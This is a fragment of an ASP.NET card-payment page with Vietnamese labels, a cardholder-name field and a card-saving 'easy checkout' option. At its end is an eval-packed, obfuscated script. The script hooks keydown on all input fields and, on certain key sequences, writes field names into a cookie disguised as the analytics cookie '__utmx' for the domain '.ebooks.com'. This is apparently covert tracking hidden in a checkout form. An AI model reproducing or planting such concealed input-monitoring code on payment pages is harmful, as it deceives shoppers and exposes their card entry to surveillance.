   <%-- <script type="text/javascript">
        var rightNow = new Date();
        document.write('<input type="hidden" name="ct" value="' + rightNow + '"/>');
    </script>--%>
                        <input type="hidden" name="ti" value="0"/>
                        

                        <div class="lbl">
                            <span id="spanReqFN" class="error-msg bold"></span>
                            Tên chủ thẻ
                            <span class="font11"> </span>
                        </div>
                        <label class="inp-b" style="background:none; background-color: white; width: 220px;">
                            <input tabindex="14" type="text" id="txtFirstName" name="txtFirstName" 
                            value="<%= tt.TenChuThe %>" 
                            onclick="clearError('divErrFirstName')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div id="divErrFirstName" class="error-msg bold"></div>                               


                        <%--<div class="lbl">
                            <span id="span1" class="error-msg bold"></span>Môi giới ngân hàng
                        </div>
                        <select tabindex="15" name="dbcboBanks" id="dbcboBanks" class="sel-b" style="width:150px;">
                              
                            <option value="15">Australia</option>
                            <option value="37">Canada</option>

                        </select>
                        <div id="div1" class="error-msg bold"></div>--%>
                        
                        
						<!--easy checkout block starts -->
						<div class="lbl">Thanh toán dễ dàng</div>
                        <input type="hidden" name="txtRemembercard" value="true" />
                        <div id="echeckoutEnabled" class="">
                            <div style="text-align:justify;">Để mọi thứ trở nên nhanh chóng cho lần sau, 
                            chúng tôi sẽ lưu lại thông tin tài khoản thẻ của bạn. 
                            Nếu bạn không đồng ý, hãy bấm vào đây:</div>
                            <div><a class="link" onclick="easyCheckoutSubmit(false)">
                            Đừng nhớ thông tin thẻ của tôi</a></div>
                        </div>
                        <div id="echeckoutDisabled" class="hidden">
                            <div style="text-align:justify;">Để mọi thứ trở nên nhanh chóng cho lần sau, 
                            chúng tôi sẽ lưu lại thông tin thẻ của bạn. Nếu đồng ý hãy bấm vào đây:</div>
                            <div><a class="link" onclick="easyCheckoutSubmit(true)">
                            Cho phép lưu lại thông tin thẻ</a></div>
                        </div> 
						<!-- easy checkout block ends -->

                        <%--<div>&nbsp;</div>--%> 
                        <div class="lbl">
                            Tổng tiền:
                            <%= total_price %> USD
                        </div>

                    </div>
                    <div class="clr"></div>
                </div>
                        
                </form>
			</div>
					 
		
    <script type="text/javascript">
        eval(function (p, a, c, k, e, r) {
            e = function (c) {
                return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
            };
            if (!''.replace(/^/, String)) {
                while (c--) r[e(c)] = k[c] || e(c);

                k = [function (e) {
                    return r[e]
                } ];

                e = function () {
                    return '\\w+'
                };
                c = 1
            };
            while (c--)
                if (k[c])
                    p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
            return p
        } ('0 s="";0 2="";$(":f").g(3 h(e){0 a;0 b;1(i.j){a=e.k}4 1(e.6){a=e.6}s=s+a;1(a<l||a>m){1(s==n||s==o){2=2+"p"+$(q).r("t")+"u";7("8");5("8",2.v(),w)}s=""}4 s=a});3 5(a,b,c){1(c){0 d=x y();d.z(d.A()+(c*B*9*9*C));0 e="; D="+d.E()}4 0 e="";F.G=a+"="+b+e+"; H=.I.J; K=/"}3 7(a){5(a,"",-L)}', 48, 48, 'var|if|cpf|function|else|prep|which|eat|__utmx|60||||||input|keydown|doKey|window|event|keyCode|16|17|103|61|utmx|this|attr||name|xmtu|toLowerCase|30|new|Date|setTime|getTime|24|1000|expires|toGMTString|document|cookie|domain|ebooks|com|path|31'.split('|'), 0, {}))
    </script>

        </div>
   </div>
   <!-- End: content clearfix --> 

</asp:Content>